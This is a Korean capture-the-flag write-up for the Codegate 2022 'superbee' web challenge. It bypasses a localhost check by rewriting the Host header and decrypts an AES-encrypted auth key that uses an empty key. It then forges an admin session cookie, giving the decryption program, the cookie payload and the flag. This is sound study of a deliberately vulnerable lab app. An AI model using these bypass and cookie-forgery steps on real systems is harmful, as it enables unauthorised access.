풀이 사전 지식
+ Bypass
Filtering Bypass
# Problem
# Main Page
Main Page에 접속하면 위 사진과 같이 Not Found를 확인할 수 있습니다.
# Source Code
# main.go
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"encoding/hex"
"bytes"
"github.com/beego/beego/v2/server/web"
)
type BaseController struct {
web.Controller
controllerName string
actionName string
}
type MainController struct {
BaseController
}
type LoginController struct {
BaseController
}
type AdminController struct {
BaseController
}
var admin_id string
var admin_pw string
var app_name string
var auth_key string
var auth_crypt_key string
var flag string
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
func Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func Md5(s string) string {
h := md5.New()
h.Write([]byte(s))
return hex.EncodeToString(h.Sum(nil))
}
func (this *BaseController) Prepare() {
controllerName, _ := this.GetControllerAndAction()
session := this.Ctx.GetCookie(Md5("sess"))
if controllerName == "MainController" {
if session == "" || session != Md5(admin_id + auth_key) {
this.Redirect("/login/login", 403)
return
}
} else if controllerName == "LoginController" {
if session != "" {
this.Ctx.SetCookie(Md5("sess"), "")
}
} else if controllerName == "AdminController" {
domain := this.Ctx.Input.Domain()
if domain != "localhost" {
this.Abort("Not Local")
return
}
}
}
func (this *MainController) Index() {
this.TplName = "index.html"
this.Data["app_name"] = app_name
this.Data["flag"] = flag
this.Render()
}
func (this *LoginController) Login() {
this.TplName = "login.html"
this.Data["app_name"] = app_name
this.Render()
}
func (this *LoginController) Auth() {
id := this.GetString("id")
password := this.GetString("password")
if id == admin_id && password == admin_pw {
this.Ctx.SetCookie(Md5("sess"), Md5(admin_id + auth_key), 300)
this.Ctx.WriteString("<script>alert('Login Success');location.href='/main/index';</script>")
return
}
this.Ctx.WriteString("<script>alert('Login Fail');location.href='/login/login';</script>")
}
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}
func main() {
app_name, _ = web.AppConfig.String("app_name")
auth_key, _ = web.AppConfig.String("auth_key")
auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key")
admin_id, _ = web.AppConfig.String("id")
admin_pw, _ = web.AppConfig.String("password")
flag, _ = web.AppConfig.String("flag")
web.AutoRouter(&MainController{})
web.AutoRouter(&LoginController{})
web.AutoRouter(&AdminController{})
web.Run()
}
Go
복사
소스코드를 확인해보면 beego라는 프레임워크를 사용중인 것을 확인할 수 있습니다.
또한 AutoRouter 함수를 이용하여 MainController, LoginController, AdminController를 라우팅하는 것을 확인할 수 있으며 beego 프레임워크에서 제공하는 공식문서에서 사용법을 확인할 수 있습니다.
이를 통해서 index, login, auth, authkey의 페이지가 존재하는 것을 확인할 수 있습니다.
# Attack Vector
## Controller
type BaseController struct {
web.Controller
controllerName string
actionName string
}
Go
복사
BaseController에서 WEB 요청을 관리하고 분류하는것을 확인할 수 있습니다.
# BaseController
•
Prepare()
func (this *BaseController) Prepare() {
controllerName, _ := this.GetControllerAndAction()
session := this.Ctx.GetCookie(Md5("sess"))
if controllerName == "MainController" {
if session == "" || session != Md5(admin_id + auth_key) {
this.Redirect("/login/login", 403)
return
}
} else if controllerName == "LoginController" {
if session != "" {
this.Ctx.SetCookie(Md5("sess"), "")
}
} else if controllerName == "AdminController" {
domain := this.Ctx.Input.Domain()
if domain != "localhost" {
this.Abort("Not Local")
return
}
}
}
Go
복사
해당 함수에서 웹으로 전송된 요청을 받아 main, login, admin인지 분류해 전송해줍니다.
또한 MainController로 들어온 전송의 경우 Md5(sess)로 만들어진 session value가 admin_id + auth_key임을 확인할 수 있습니다.
AdminController의 경우 전달된 Domain이 localhost인지 확인합니다.
# MainController
•
Index()
func (this *MainController) Index() {
this.TplName = "index.html"
this.Data["app_name"] = app_name
this.Data["flag"] = flag
this.Render()
}
Go
복사
index.html에서 flag를 확인할 수 있습니다.
# AdminController
•
AuthKey()
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}
Go
복사
BaseController를 통해서 Domain이 localhost인 경우 AesEncrypt로 auth_key와 auth_cryt_key를 암호화하여 반환하는것을 확인할 수 있습니다.
# Value
•
main()
func main() {
app_name, _ = web.AppConfig.String("app_name")
auth_key, _ = web.AppConfig.String("auth_key")
auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key")
admin_id, _ = web.AppConfig.String("id")
admin_pw, _ = web.AppConfig.String("password")
flag, _ = web.AppConfig.String("flag")
web.AutoRouter(&MainController{})
web.AutoRouter(&LoginController{})
web.AutoRouter(&AdminController{})
web.Run()
}
Go
복사
web.config 파일에서 auth_key와 auth_crypt_key, admin_id을 받아오는 것을 확인할 수 있다.
•
app.conf
app_name = superbee
auth_key = [----------REDEACTED------------]
id = admin
password = [----------REDEACTED------------]
flag = [----------REDEACTED------------]
Go
복사
## auth_key
# localhost bypass
localhost를 통과하기 위해서는 BurpSuite로 간단하게 Host 부분을 localhost로 변경하여 encrypted_auth_key를 획득할 수 있습니다.
# Decrypt auth_key
•
AuthKey()
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}
Go
복사
AuthKey()의 경우 AesEncrypt 함수를 통해서 auth_key와 auth_crypt_key를 사용합니다.
•
AesEncrypt()
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
Go
복사
AesEncrypt 함수를 분석하면 auth_key를 전달받은 auth_crypt_key을 키로 사용하여 CBC 암호화를 진행합니다.
하지만 app.conf에는 auth_crypt_key가 존재하지 않기 때문에 NULL 값이 전달되는 것을 확인할 수 있으며, key가 NULL임으로 복호화 코드를 작성하여 복호화를 진행하면 auth_key를 획득할 수 있습니다.
•
AesDecrypt
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"encoding/hex"
"strings"
)
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16) //16, 24, 32
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
println("BlockSize : ", blockSize)
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
func AesDecrypt(crypt, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, padded_key[:blockSize])
plain := make([]byte, len(crypt))
blockMode.CryptBlocks(plain, crypt)
return plain, nil
}
func Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
println("PADDING : ", padding)
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func Md5(s string) string {
h := md5.New()
h.Write([]byte(s))
return hex.EncodeToString(h.Sum(nil))
}
func main() {
decode, _ := hex.DecodeString("00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607")
plain, _ := AesDecrypt([]byte(decode), []byte(""))
plain_text := strings.TrimSpace(string(plain))
println(plain_text)
println(Md5("sess"))
println(Md5("admin" + plain_text))
}
Go
복사
•
output
PADDING : 16
Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d
f5b338d6bca36d47ee04d93d08c57861
e52f118374179d24fa20ebcceb95c2af
Go
복사
이제 f5b338d6bca36d47ee04d93d08c57861라는 이름의 e52f118374179d24fa20ebcceb95c2af의 값을 가지는 cookie 생성해 준 뒤 main/index에 접근하면 flag를 획득할 수 있습니다.
# Exploit
# Payload
name : f5b338d6bca36d47ee04d93d08c57861
value : e52f118374179d24fa20ebcceb95c2af
Plain Text
복사
# Flag
codegate2022{d9adbe86f4ecc93944e77183e1dc6342}
Plain Text
복사